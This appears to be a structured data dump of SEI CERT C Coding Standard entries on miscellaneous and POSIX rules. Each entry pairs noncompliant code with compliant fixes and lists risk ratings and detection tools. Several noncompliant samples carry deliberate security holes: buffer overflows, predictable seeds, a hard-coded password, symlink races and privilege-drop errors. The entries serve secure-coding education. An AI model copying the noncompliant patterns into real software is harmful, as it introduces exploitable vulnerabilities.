jmp_buf buf; void f(void) { if (setjmp(buf) == 0) { g(); } else { /* longjmp was invoked */ } } void g(void) { /* ... */ longjmp(buf, 1); } #include <setjmp.h> #include <stdio.h> #include <stdlib.h> static jmp_buf buf; static void bad(void); void do_stuff(void) { void (*b)(void) = bad; /* ......
## Risk Assessment Recommendation Severity Likelihood Detectable Repairable Priority Level MSC22-C Low Probable No No P2 L3 Automated Detection Tool Version Checker Description BADFUNC.LONGJMP BADFUNC.SETJMP Use of longjmp Use of setjmp LDRA tool suite 43 S Enhanced enforcement Parasoft C/C++test CERT_C-MSC22-a The fac...
SEI CERT C Coding Standard > 3 Recommendations > Rec. 48. Miscellaneous (MSC)
c
87,152,033
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152033
3
48
MSC23-C
Beware of vendor-specific library and language differences
When compiling with a specific vendor's implementation of the C language, and related libraries, be aware that, unfortunately, standards conformance can differ from vendor to vendor. Be certain to read your vendor's documentation to reduce the likelihood of accidentally relying on implementation-specific behavior or de...
null
null
## Risk Assessment Rule Severity Likelihood Detectable Repairable Priority Level MSC23-C High Probable No No P6 L3 Automated Detection Tool Version Checker Description Supported: Astrée reports non-standard language elements. BADFUNC.* CONCURRENCY.C_ATOMIC CONCURRENCY.THREADLOCAL LANG.FUNCS.NORETURN LANG.PREPROC.INCL.T...
SEI CERT C Coding Standard > 3 Recommendations > Rec. 48. Miscellaneous (MSC)
c
87,152,260
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152260
3
48
MSC24-C
Do not use deprecated or obsolescent functions
Do not use deprecated or obsolescent functions when more secure equivalent functions are available. Deprecated functions are defined by the C Standard. Obsolescent functions are defined by this recommendation. Deprecated Functions The gets() function was deprecated by Technical Corrigendum 3 to C99 and eliminated from ...
#include <string.h> #include <stdio.h>   enum { BUFSIZE = 32 }; void complain(const char *msg) { static const char prefix[] = "Error: "; static const char suffix[] = "\n"; char buf[BUFSIZE]; strcpy(buf, prefix); strcat(buf, msg); strcat(buf, suffix); fputs(buf, stderr); } ## Noncompliant Code Example #...
#define __STDC_WANT_LIB_EXT1__ #include <string.h> #include <stdio.h>   enum { BUFFERSIZE = 256 }; void complain(const char *msg) { static const char prefix[] = "Error: "; static const char suffix[] = "\n"; char buf[BUFFERSIZE]; strcpy_s(buf, BUFFERSIZE, prefix); strcat_s(buf, BUFFERSIZE, msg); strcat_s(b...
## Risk Assessment The deprecated and obsolescent functions enumerated in this guideline are commonly associated with software vulnerabilities . Rule Severity Likelihood Detectable Repairable Priority Level MSC24-C High Probable Yes No P12 L1 Automated Detection Tool Version Checker Description stdlib-use-ato stdlib-ma...
SEI CERT C Coding Standard > 3 Recommendations > Rec. 48. Miscellaneous (MSC)
c
155,615,412
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=155615412
3
48
MSC25-C
Do not use insecure or weak cryptographic algorithms
This rule is a stub.
## Noncompliant Code Example ## This noncompliant code example shows an example where ... #FFCCCC
## Compliant Solution ## In this compliant solution, ... #CCCCFF
## Risk Assessment Using insecure or weak cryptographic algorithms is not a good idea. Rule Severity Likelihood Detectable Repairable Priority Level MSC25-C Medium Probable No No P4 L3
SEI CERT C Coding Standard > 3 Recommendations > Rec. 48. Miscellaneous (MSC)
c
87,152,464
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152464
2
48
MSC30-C
Do not use the rand() function for generating pseudorandom numbers
Pseudorandom number generators use mathematical algorithms to produce a sequence of numbers with good statistical properties, but the numbers produced are not genuinely random. The C Standard rand() function makes no guarantees as to the quality of the random sequence produced. The numbers generated by some implementat...
#include <stdio.h> #include <stdlib.h>   enum { len = 12 };   void func(void) { /* * id will hold the ID, starting with the characters * "ID" followed by a random integer. */   char id[len]; int r; int num; /* ... */ r = rand(); /* Generate a random integer */ num = snprintf(id, len, "ID%-d", r...
#include <stdio.h> #include <stdlib.h> #include <time.h> enum { len = 12 };  void func(void) { /* * id will hold the ID, starting with the characters * "ID" followed by a random integer. */   char id[len]; int r; int num; /* ... */ struct timespec ts; if (timespec_get(&ts, TIME_UTC) == 0) { ...
## Risk Assessment The use of the rand() function can result in predictable random numbers. Rule Severity Likelihood Detectable Repairable Priority Level MSC30-C Medium Unlikely Yes No P4 L3 Automated Detection Tool Version Checker Description stdlib-use-rand bad-function (C++) Fully checked CertC-MSC30 cert-msc30-c Ch...
SEI CERT C Coding Standard > 2 Rules > Rule 48. Miscellaneous (MSC)
c
87,152,219
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152219
2
48
MSC32-C
Properly seed pseudorandom number generators
A pseudorandom number generator (PRNG) is a deterministic algorithm capable of generating sequences of numbers that approximate the properties of random numbers. Each sequence is completely determined by the initial state of the PRNG and the algorithm for changing the state. Most PRNGs make it possible to set the initi...
#include <stdio.h> #include <stdlib.h>   void func(void) { for (unsigned int i = 0; i < 10; ++i) { /* Always generates the same sequence */ printf("%ld, ", random()); } } 1st run: 1804289383, 846930886, 1681692777, 1714636915, 1957747793, 424238335, 719885386, 1649760492, 596516649, 1189641421, 2n...
#include <stdio.h> #include <stdlib.h> #include <time.h>   void func(void) { struct timespec ts; if (timespec_get(&ts, TIME_UTC) == 0) { /* Handle error */ } else { srandom(ts.tv_nsec ^ ts.tv_sec); for (unsigned int i = 0; i < 10; ++i) { /* Generates different sequences at different runs */ ...
## Risk Assessment Rule Severity Likelihood Detectable Repairable Priority Level MSC32-C Medium Likely Yes Yes P18 L1 Automated Detection Tool Version Checker Description constant-call-argument default-construction (C++) Partially checked + soundly supported CertC-MSC32 HARDCODED.SEED MISC.CRYPTO.TIMESEED Hardcoded See...
SEI CERT C Coding Standard > 2 Rules > Rule 48. Miscellaneous (MSC)
c
87,152,328
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152328
2
48
MSC33-C
Do not pass invalid data to the asctime() function
The C Standard, 7.29.3.1 [ ISO/IEC 9899:2024 ], provides the following sample implementation of the asctime() function: char *asctime(const struct tm *timeptr) { static const char wday_name[7][3] = { "Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat" }; static const char mon_name[12][3] = { "Jan", "Feb", "Mar", "Apr", "Ma...
#include <time.h>   void func(struct tm *time_tm) { char *time = asctime(time_tm); /* ... */ } ## Noncompliant Code Example ## This noncompliant code example invokes theasctime()function with potentially unsanitized data: #FFcccc c #include <time.h> void func(struct tm *time_tm) { char *time = asctime(time_tm); /*...
#include <time.h> enum { maxsize = 26 };   void func(struct tm *time) { char s[maxsize]; /* Current time representation for locale */ const char *format = "%c"; size_t size = strftime(s, maxsize, format, time); } ## Compliant Solution (strftime()) The strftime() function allows the programmer to specify a mo...
## Risk Assessment On implementations that do not detect output-string-length overflow, it is possible to overflow the output buffers. Rule Severity Likelihood Detectable Repairable Priority Level MSC33-C High Likely No No P9 L2 Automated Detection Tool Version Checker Description bad-function-use Fully checked CertC-M...
SEI CERT C Coding Standard > 2 Rules > Rule 48. Miscellaneous (MSC)
c
87,152,283
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152283
2
48
MSC37-C
Ensure that control never reaches the end of a non-void function
If control reaches the closing curly brace ( } ) of a non- void function without evaluating a return statement, using the return value of the function call is undefined behavior. (See undefined behavior 86 .)
#include <string.h> #include <stdio.h>   int checkpass(const char *password) { if (strcmp(password, "pass") == 0) { return 1; } } void func(const char *userinput) { if (checkpass(userinput)) { printf("Success\n"); } } #include <stddef.h>   size_t getlen(const int *input, size_t maxlen, int delim) { ...
#include <string.h> #include <stdio.h>   int checkpass(const char *password) { if (strcmp(password, "pass") == 0) { return 1; } return 0; } void func(const char *userinput) { if (checkpass(userinput)) { printf("Success!\n"); } } #include <stddef.h>   int getlen(const int *input, size_t maxlen, int d...
## Risk Assessment Using the return value from a non- void function where control reaches the end of the function without evaluating a return statement can lead to buffer overflow vulnerabilities as well as other unexpected program behaviors . Rule Severity Likelihood Detectable Repairable Priority Level MSC37-C High U...
SEI CERT C Coding Standard > 2 Rules > Rule 48. Miscellaneous (MSC)
c
87,152,297
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152297
2
48
MSC38-C
Do not treat a predefined identifier as an object if it might only be implemented as a macro
The C Standard, 7.1.4 paragraph 1, [ ISO/IEC 9899:2024 ] states Any function declared in a header may be additionally implemented as a function-like macro defined in the header, so if a library function is declared explicitly when its header is included, one of the techniques shown later in the next subclause can be us...
#include <assert.h>   typedef void (*handler_type)(int);   void execute_handler(handler_type handler, int value) {   handler(value); }   void func(int e) {   execute_handler(&(assert), e < 0); }  extern int errno; ## Noncompliant Code Example (assert) In this noncompliant code example, the standard assert() macro is ...
#include <assert.h>   typedef void (*handler_type)(int);   void execute_handler(handler_type handler, int value) {   handler(value); }   static void assert_handler(int value) {   assert(value); }   void func(int e) {   execute_handler(&assert_handler, e < 0); } #include <errno.h> ## Compliant Solution (assert) ## In ...
## Risk Assessment Accessing objects or functions underlying the specific macros enumerated in this rule is undefined behavior . Rule Severity Likelihood Detectable Repairable Priority Level MSC38-C Low Unlikely Yes No P2 L3 Automated Detection Tool Version Checker Description Supported, but no explicit checker BADMACR...
SEI CERT C Coding Standard > 2 Rules > Rule 48. Miscellaneous (MSC)
c
87,152,285
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152285
2
48
MSC39-C
Do not call va_arg() on a va_list that has an indeterminate value
Variadic functions access their variable arguments by using va_start() to initialize an object of type va_list , iteratively invoking the va_arg() macro, and finally calling va_end() . The va_list may be passed as an argument to another function, but calling va_arg() within that function causes the va_list to have an i...
#include <stdarg.h> #include <stdio.h>   int contains_zero(size_t count, va_list ap) { for (size_t i = 1; i < count; ++i) { if (va_arg(ap, double) == 0.0) { return 1; } } return 0; } int print_reciprocals(size_t count, ...) { va_list ap; va_start(ap, count); if (contains_zero(count, ap)) {...
#include <stdarg.h> #include <stdio.h>   int contains_zero(size_t count, va_list *ap) { va_list ap1; va_copy(ap1, *ap); for (size_t i = 1; i < count; ++i) { if (va_arg(ap1, double) == 0.0) { return 1; } } va_end(ap1); return 0; } int print_reciprocals(size_t count, ...) { int status; va_...
## Risk Assessment Reading variable arguments using a va_list that has an indeterminate value can have unexpected results. Rule Severity Likelihood Detectable Repairable Priority Level MSC39-C Low Unlikely Yes No P2 L3 Automated Detection Tool Version Checker Description BADMACRO.STDARG_H Use of <stdarg.h> Feature prem...
SEI CERT C Coding Standard > 2 Rules > Rule 48. Miscellaneous (MSC)
c
87,151,950
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87151950
2
48
MSC40-C
Do not violate constraints
According to the C Standard, 3.8 [ ISO/IEC 9899:2011 ], a constraint is a "restriction, either syntactic or semantic, by which the exposition of language elements is to be interpreted."  Despite the similarity of the terms, a runtime constraint is not a kind of constraint. Violating any shall statement within a constra...
static int I = 12; extern inline void func(int a) { int b = a * I; /* ... */ } extern inline void func(void) { static int I = 12; /* Perform calculations which may modify I */ } /* file1.c */ /* Externally linked definition of the function get_random() */ extern unsigned int get_random(void) { /* Initializ...
int I = 12; extern inline void func(int a) { int b = a * I; /* ... */ } extern inline void func(void) { int I = 12; /* Perform calculations which may modify I */ } /* file2.c */ /* Static inline definition of get_random function */ static inline unsigned int get_random(void) { /* * Initialize the seeds...
## Risk Assessment Constraint violations are a broad category of error that can result in unexpected control flow and corrupted data. Rule Severity Likelihood Detectable Repairable Priority Level MSC40-C Low Unlikely No No P1 L3 Automated Detection Tool Version Checker Description Astrée alignas-extended assignment-to-...
SEI CERT C Coding Standard > 2 Rules > Rule 48. Miscellaneous (MSC)
c
108,396,967
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=108396967
2
48
MSC41-C
Never hard code sensitive information
Hard coding sensitive information, such as passwords or encryption keys can expose the information to attackers. Anyone who has access to the executable or dynamic library files can examine them for strings or other critical data, revealing the sensitive information. Leaking data protected by International Traffic in A...
/* Returns nonzero if authenticated */ int authenticate(const char* code); int main() { if (!authenticate("correct code")) { printf("Authentication error\n"); return -1; } printf("Authentication successful\n"); // ...Work with system... return 0; } % strings a.out ... AUATL []A\A]A^A_ correct code ...
/* Returns nonzero if authenticated */ int authenticate(const char* code); int main() { #define CODE_LEN 50 char code[CODE_LEN]; printf("Please enter your authentication code:\n"); fgets(code, sizeof(code), stdin); int flag = authenticate(code); memset_explicit(code, 0, sizeof(code)); if (!flag) { prin...
## Risk Assessment Hard coding sensitive information exposes that information to attackers. The severity of this rule can vary depending on the kind of information that is disclosed. Frequently, the information disclosed is password or key information, which can lead to remote exploitation. Consequently, a high severit...
SEI CERT C Coding Standard > 2 Rules > Rule 48. Miscellaneous (MSC)
c
87,152,372
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152372
3
50
POS01-C
Check for the existence of links when dealing with files
Many common operating systems such as Windows and UNIX support file links, including hard links, symbolic (soft) links, and virtual drives. Hard links can be created in UNIX with the ln command or in Windows operating systems by calling the CreateHardLink() function. Symbolic links can be created in UNIX using the ln -...
char *file_name = /* something */; char *userbuf = /* something */; unsigned int userlen = /* length of userbuf string */; int fd = open(file_name, O_RDWR); if (fd == -1) { /* handle error */ } write(fd, userbuf, userlen); ## Noncompliant Code Example This noncompliant code example opens the file specified by the ...
char *file_name = /* something */; char *userbuf = /* something */; unsigned int userlen = /* length of userbuf string */; int fd = open(file_name, O_RDWR | O_NOFOLLOW); if (fd == -1) { /* handle error */ } write(fd, userbuf, userlen); char *file_name = /* some value */; struct stat orig_st; if (lstat( file_name, ...
## Risk Assessment Failing to check for the existence of links can result in a critical system file being overwritten, leading to data integrity violations. Recommendation Severity Likelihood Detectable Repairable Priority Level POS01-C Medium Likely No No P6 L2 Automated Detection Tool Version Checker Description Comp...
SEI CERT C Coding Standard > 3 Recommendations > Rec. 50. POSIX (POS)
c
87,152,194
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152194
3
50
POS02-C
Follow the principle of least privilege
The principle of least privilege states that every program and every user of the system should operate using the least set of privileges necessary to complete the job [ Saltzer 1974 , Saltzer 1975 ]. The Build Security In website [ DHS 2006 ] provides additional definitions of this principle. Executing with minimal pri...
int establish(void) { struct sockaddr_in sa; /* listening socket's address */ int s; /* listening socket */ /* Fill up the structure with address and port number */ sa.sin_port = htons(portnum); /* Other system calls like socket() */ if (bind(s, (struct sockaddr *)&sa, sizeof(struct sockaddr...
/* Code with elevated privileges */ int establish(void) { struct sockaddr_in sa; /* listening socket's address */ int s; /* listening socket */ /* Fill up the structure with address and port number */ sa.sin_port = htons(portnum); /* Other system calls like socket() */ if (bind(s, (struct sockaddr *)...
## Risk Assessment Failure to follow the principle of least privilege may allow exploits to execute with elevated privileges. Recommendation Severity Likelihood Detectable Repairable Priority Level POS02-C High Likely No No P9 L2 Automated Detection Tool Version Checker Description C1606 C1607 C1608 SV.USAGERULES.PERMI...
SEI CERT C Coding Standard > 3 Recommendations > Rec. 50. POSIX (POS)
c
87,152,062
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152062
3
50
POS04-C
Avoid using PTHREAD_MUTEX_NORMAL type mutex locks
Pthread mutual exclusion (mutex) locks are used to avoid simultaneous usage of common resources. Several types of mutex locks are defined by pthreads: NORMAL , ERRORCHECK , RECURSIVE , and DEFAULT . POSIX describes PTHREAD_MUTEX_NORMAL locks as having the following undefined behavior [ Open Group 2004 ]: This type of m...
pthread_mutexattr_t attr; pthread_mutex_t mutex; size_t const shared_var = 0; int main(void) { int result; if ((result = pthread_mutexattr_init(&attr)) != 0) { /* Handle Error */ } if ((result = pthread_mutexattr_settype(&attr, PTHREAD_MUTEX_NORMAL)) != 0) { /* Handle Error */ } if ((result = pthr...
pthread_mutexattr_t attr; pthread_mutex_t mutex; size_t const shared_var = 0; int main(void) { int result; if ((result = pthread_mutexattr_init(&attr)) != 0) { /* Handle Error */ } if ((result = pthread_mutexattr_settype(&attr, PTHREAD_MUTEX_ERRORCHECK)) != 0) { /* Handle Error */ } if ((result = ...
## Risk Assessment Using NORMAL mutex locks can lead to deadlocks or abnormal program termination. Recommendation Severity Likelihood Detectable Repairable Priority Level POS04-C Low Unlikely Yes Yes P3 L3 Automated Detection Tool Version Checker Description bad-enumerator bad-macro-use Fully checked 586 Fully supporte...
SEI CERT C Coding Standard > 3 Recommendations > Rec. 50. POSIX (POS)
c
87,152,316
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152316
3
50
POS05-C
Limit access to files by creating a jail
Creating a jail isolates a program from the rest of the file system. The idea is to create a sandbox, so entities the program does not need to access under normal operation are made inaccessible. This makes it much harder to abuse any vulnerability that can otherwise lead to unconstrained system compromise and conseque...
enum { array_max = 100 }; /* * Program running with elevated privileges where argv[1] * and argv[2] are supplied by the user */ char x[array_max]; FILE *fp = fopen(argv[1], "w"); strncpy(x, argv[2], array_max); x[array_max - 1] = '\0'; /* * Write operation to an unintended file such as /etc/passwd * gets execu...
/* * Make sure that the chroot/jail directory exists within * the current working directory. Also assign appropriate * permissions to the directory to restrict access. Close * all file system descriptors to outside resources lest * they escape the jail. */ if (setuid(0) == -1) { /* Handle error */ } if (chroo...
## Risk Assessment Failing to follow this recommendation may lead to full-system compromise if a file system vulnerability is discovered and exploited. Recommendation Severity Likelihood Detectable Repairable Priority Level POS05-C Medium Probable No No P4 L3 Automated Detection Tool Version Checker Description BADFUNC...
SEI CERT C Coding Standard > 3 Recommendations > Rec. 50. POSIX (POS)
c
87,152,404
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152404
2
50
POS30-C
Use the readlink() function properly
The readlink() function reads where a link points to. It makes no effort to null-terminate its second argument, buffer . Instead, it just returns the number of characters it has written.
char buf[1024]; ssize_t len = readlink("/usr/bin/perl", buf, sizeof(buf)); buf[len] = '\0'; long symlink_max; size_t bufsize; char *buf; ssize_t len; errno = 0; symlink_max = pathconf("/usr/bin/", _PC_SYMLINK_MAX); if (symlink_max == -1) { if (errno != 0) { /* handle error condition */ } bufsize = 10000; } ...
enum { BUFFERSIZE = 1024 }; char buf[BUFFERSIZE]; ssize_t len = readlink("/usr/bin/perl", buf, sizeof(buf)-1); if (len != -1) { buf[len] = '\0'; } else { /* handle error condition */ } ## Compliant Solution This compliant solution ensures there is no overflow by reading in only sizeof(buf)-1 characters. It also p...
## Risk Assessment Failing to properly null-terminate the result of readlink() can result in abnormal program termination and buffer-overflow vulnerabilities. Rule Severity Likelihood Detectable Repairable Priority Level POS30-C High Probable Yes Yes P18 L1 Automated Detection Tool Version Checker Description Supported...
SEI CERT C Coding Standard > 2 Rules > Rule 50. POSIX (POS)
c
87,152,360
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152360
2
50
POS34-C
Do not call putenv() with a pointer to an automatic variable as the argument
The POSIX function putenv() is used to set environment variable values. The putenv() function does not create a copy of the string supplied to it as an argument; rather, it inserts a pointer to the string into the environment array. If a pointer to a buffer of automatic storage duration is supplied as an argument to pu...
int func(const char *var) { char env[1024]; int retval = snprintf(env, sizeof(env),"TEST=%s", var); if (retval < 0 || (size_t)retval >= sizeof(env)) { /* Handle error */ } return putenv(env); } ## Noncompliant Code Example In this noncompliant code example, a pointer to a buffer of automatic storage dur...
int func(const char *var) { static char env[1024]; int retval = snprintf(env, sizeof(env),"TEST=%s", var); if (retval < 0 || (size_t)retval >= sizeof(env)) { /* Handle error */ } return putenv(env); } int func(const char *var) { const char *env_format = "TEST=%s"; const size_t len = strlen(var) + s...
## Risk Assessment Providing a pointer to a buffer of automatic storage duration as an argument to putenv() may cause that buffer to take on an unintended value. Depending on how and when the buffer is used, it can cause unexpected program behavior or possibly allow an attacker to run arbitrary code. Rule Severity Like...
SEI CERT C Coding Standard > 2 Rules > Rule 50. POSIX (POS)
c
87,152,082
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152082
2
50
POS35-C
Avoid race conditions while checking for the existence of a symbolic link
Many common operating systems, such as Windows and UNIX, support symbolic (soft) links. Symbolic links can be created in UNIX using the ln -s command or in Windows by using directory junctions in NTFS or the Linkd.exe (Win 2K resource kit) or "junction" freeware. If not properly performed, checking for the existence of...
char *filename = /* file name */; char *userbuf = /* user data */; unsigned int userlen = /* length of userbuf string */; struct stat lstat_info; int fd; /* ... */ if (lstat(filename, &lstat_info) == -1) { /* Handle error */ } if (!S_ISLNK(lstat_info.st_mode)) { fd = open(filename, O_RDWR); if (fd == -1) { ...
char *filename = /* file name */; char *userbuf = /* user data */; unsigned int userlen = /* length of userbuf string */; int fd = open(filename, O_RDWR|O_NOFOLLOW); if (fd == -1) { /* Handle error */ } if (write(fd, userbuf, userlen) < userlen) { /* Handle error */ } char *filename = /* file name */; char *userb...
## Risk Assessment TOCTOU race condition vulnerabilities can be exploited to gain elevated privileges. Rule Severity Likelihood Detectable Repairable Priority Level POS35-C High Likely No No P 9 L2 Automated Detection Tool Version Checker Description user_defined Soundly supported CertC-POS35 Compass/ROSE Can detect so...
SEI CERT C Coding Standard > 2 Rules > Rule 50. POSIX (POS)
c
87,152,295
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152295
2
50
POS36-C
Observe correct revocation order while relinquishing privileges
In case of set-user-ID and set-group-ID programs, when the effective user ID and group ID are different from those of the real user, it is important to drop not only the user-level privileges but also the group privileges. While doing so, the order of revocation must be correct. POSIX defines setgid() to have the follo...
/* Drop superuser privileges in incorrect order */ if (setuid(getuid()) == -1) { /* handle error condition */ } if (setgid(getgid()) == -1) { /* handle error condition */ } /* It is still possible to regain group privileges due to * incorrect relinquishment order */ ## Noncompliant Code Example This noncomplian...
/* Drop superuser privileges in correct order */ if (setgid(getgid()) == -1) { /* handle error condition */ } if (setuid(getuid()) == -1) { /* handle error condition */ } /* * Not possible to regain group privileges due to correct relinquishment order */ ## Compliant Solution This compliant solution relinquis...
## Risk Assessment Failing to observe the correct revocation order while relinquishing privileges allows an attacker to regain elevated privileges. Rule Severity Likelihood Detectable Repairable Priority Level POS36-C High Probable Yes Yes P18 L1 Automated Detection Tool Version Checker Description user_defined Soundly...
SEI CERT C Coding Standard > 2 Rules > Rule 50. POSIX (POS)
c
87,152,195
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152195
2
50
POS37-C
Ensure that privilege relinquishment is successful
The POSIX setuid() function has complex semantics and platform-specific behavior [ Open Group 2004 ]. If the process has appropriate privileges, setuid() shall set the real user ID, effective user ID, and the saved set-user-ID of the calling process to uid . If the process does not have appropriate privileges, but uid ...
/* Code intended to run with elevated privileges */ /* Temporarily drop privileges */ if (seteuid(getuid()) != 0) { /* Handle error */ } /* Code intended to run with lower privileges */ if (need_more_privileges) { /* Restore privileges */ if (seteuid(0) != 0) { /* Handle error */ } /* Code intended to...
/* Code intended to run with elevated privileges */ /* Temporarily drop privileges */ if (seteuid(getuid()) != 0) { /* Handle error */ } /* Code intended to run with lower privileges */ if (need_more_privileges) { /* Restore Privileges */ if (seteuid(0) != 0) { /* Handle error */ } /* Code intended ...
## Risk Assessment If privilege relinquishment conditions are left unchecked, any flaw in the program may lead to unintended system compromise corresponding to the more privileged user or group account. Rule Severity Likelihood Detectable Repairable Priority Level POS37-C High Probable Yes Yes P18 L1 Automated Detectio...
SEI CERT C Coding Standard > 2 Rules > Rule 50. POSIX (POS)
c
87,152,299
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152299
2
50
POS38-C
Beware of race conditions when using fork and file descriptors
When forking a child process, file descriptors are copied to the child process, which can result in concurrent operations on the file. Concurrent operations on the same file can cause data to be read or written in a nondeterministic order, creating race conditions and unpredictable behavior.
char c; pid_t pid; int fd = open(filename, O_RDWR); if (fd == -1) { /* Handle error */ } read(fd, &c, 1); printf("root process:%c\n",c); pid = fork(); if (pid == -1) { /* Handle error */ } if (pid == 0) { /*child*/ read(fd, &c, 1); printf("child:%c\n",c); } else { /*parent*/ read(fd, &c, 1); printf("pare...
char c; pid_t pid; /* Open file and remember file status */ struct stat orig_st; if (lstat( filename, &orig_st) != 0) { /* handle error */ } int fd = open(filename, O_RDWR); if (fd == -1) { /* Handle error */ } struct stat new_st; if (fstat(fd, &new_st) != 0) { /* handle error */ } if (orig_st.st_dev != new_st...
## Risk Assessment Because race conditions in code are extremely hard to find, this problem might not appear during standard debugging stages of development. However, depending on what file is being read and how important the order of read operations is, this problem can be particular dangerous. Rule Severity Likelihoo...
SEI CERT C Coding Standard > 2 Rules > Rule 50. POSIX (POS)
c
87,152,329
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152329
2
50
POS39-C
Use the correct byte ordering when transferring data between systems
Different system architectures use different byte ordering, either little endian (least significant byte first) or big endian (most significant byte first). IA-32 is an example of an architecture that implements little endian byte ordering. In contrast, PowerPC and most Network Protocols (including TCP and IP) use big ...
/* sock is a connected TCP socket */ uint32_t num; if (recv(sock, (void *)&num, sizeof(uint32_t), 0) < (int)sizeof(uint32_t)) { /* Handle error */ } printf("We received %u from the network!\n", (unsigned int)num); ## Noncompliant Code Example In this noncompliant code example, the programmer tries to read an unsi...
/* sock is a connected TCP socket */ uint32_t num; if (recv(sock, (void *)&num, sizeof(uint32_t), 0) < (int)sizeof(uint32_t)) { /* Handle error */ } num = ntohl(num); printf("We recieved %u from the network!\n", (unsigned int)num); ## Compliant Solution In this compliant solution, the programmer uses the ntohl() ...
## Risk Assessment If the programmer is careless, this bug is likely. However, it will immediately break the program by printing the incorrect result and therefore should be caught by the programmer during the early stages of debugging and testing. Recognizing a value as in reversed byte ordering, however, can be diffi...
SEI CERT C Coding Standard > 2 Rules > Rule 50. POSIX (POS)
c
87,152,034
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152034
2
50
POS44-C
Do not use signals to terminate threads
Do not send an uncaught signal to kill a thread because the signal kills the entire process, not just the individual thread. This rule is a specific instance of SIG02-C. Avoid using signals to implement normal functionality . In POSIX systems, using the signal() function in a multithreaded program falls under exception...
null
null
null
SEI CERT C Coding Standard > 2 Rules > Rule 50. POSIX (POS)
c
87,152,298
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152298
2
50
POS47-C
Do not use threads that can be canceled asynchronously
In threading, pthreads can optionally be set to cancel immediately or defer until a specific cancellation point. Canceling asynchronously (immediately) is dangerous, however, because most threads are in fact not safe to cancel immediately. The IEEE standards page states that only functions that are cancel-safe may be c...
volatile int a = 5; volatile int b = 10; /* Lock to enable threads to access a and b safely */ pthread_mutex_t global_lock = PTHREAD_MUTEX_INITIALIZER; void* worker_thread(void* dummy) { int i; int c; int result; if ((result = pthread_setcanceltype(PTHREAD_CANCEL_ASYNCHRONOUS,&i)) != 0) { /* handle error...
void* worker_thread(void* dummy) { int c; int result; while (1) { if ((result = pthread_mutex_lock(&global_lock)) != 0) { /* handle error */ } c = b; b = a; a = c; if ((result = pthread_mutex_unlock(&global_lock)) != 0) { /* handle error */ } /* now we're safe to canc...
## Risk Assessment Incorrectly using threads that asynchronously cancel may result in silent corruption, resource leaks, and, in the worst case, unpredictable interactions. Rule Severity Likelihood Detectable Repairable Priority Level POS47-C Medium Probable No No P4 L3 Automated Detection Tool Version Checker Descript...
SEI CERT C Coding Standard > 2 Rules > Rule 50. POSIX (POS)
c
87,152,022
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152022
2
50
POS48-C
Do not unlock or destroy another POSIX thread's mutex
Mutexes are used to protect shared data structures being accessed concurrently. The thread that locks the mutex owns it, and the owning thread should be the only thread to unlock the mutex. If the mutex is destroyed while still in use, critical sections and shared data are no longer protected. This rule is a specific i...
pthread_mutex_t theLock; int data; int cleanupAndFinish(void) { int result; if ((result = pthread_mutex_destroy(&theLock)) != 0) { /* Handle error */ } data++; return data; } void worker(int value) { if ((result = pthread_mutex_lock(&theLock)) != 0) { /* Handle error */ } data += value; if (...
mutex_t theLock; int data; int cleanupAndFinish(void) { int result; /* A user-written function that is application-dependent */ wait_for_all_threads_to_finish(); if ((result = pthread_mutex_destroy(&theLock)) != 0) { /* Handle error */ } data++; return data; } void worker(int value) { int result;...
## Risk Assessment The risks of ignoring mutex ownership are similar to the risk of not using mutexes at all, which can result in a violation of data integrity. Rule Severity Likelihood Detectable Repairable Priority Level POS48-C Medium Probable No No P4 L3 Automated Detection Tool Version Checker Description CONCURRE...
SEI CERT C Coding Standard > 2 Rules > Rule 50. POSIX (POS)
c
87,152,014
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152014
2
50
POS49-C
When data must be accessed by multiple threads, provide a mutex and guarantee no adjacent data is also accessed
When multiple threads must access or make modifications to a common variable, they may also inadvertently access other variables adjacent in memory. This is an artifact of variables being stored compactly, with one byte possibly holding multiple variables, and is a common optimization on word-addressed machines. Bit-fi...
struct multi_threaded_flags { unsigned int flag1 : 2; unsigned int flag2 : 2; }; struct multi_threaded_flags flags; void thread1(void) { flags.flag1 = 1; } void thread2(void) { flags.flag2 = 2; } Thread 1: register 0 = flags Thread 1: register 0 &= ~mask(flag1) Thread 2: register 0 = flags Thread 2: registe...
struct multi_threaded_flags { volatile unsigned int flag1 : 2; volatile unsigned int flag2 : 2; }; union mtf_protect { struct multi_threaded_flags s; long padding; }; static_assert(sizeof(long) >= sizeof(struct multi_threaded_flags)); struct mtf_mutex { union mtf_protect u; pthread_mutex_t mutex; }; str...
## Risk Assessment Although the race window is narrow, having an assignment or an expression evaluate improperly because of misinterpreted data can result in a corrupted running state or unintended information disclosure. Rule Severity Likelihood Detectable Repairable Priority Level POS49-C Medium Probable No No P4 L3 ...
SEI CERT C Coding Standard > 2 Rules > Rule 50. POSIX (POS)
c
87,152,015
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152015
2
50
POS50-C
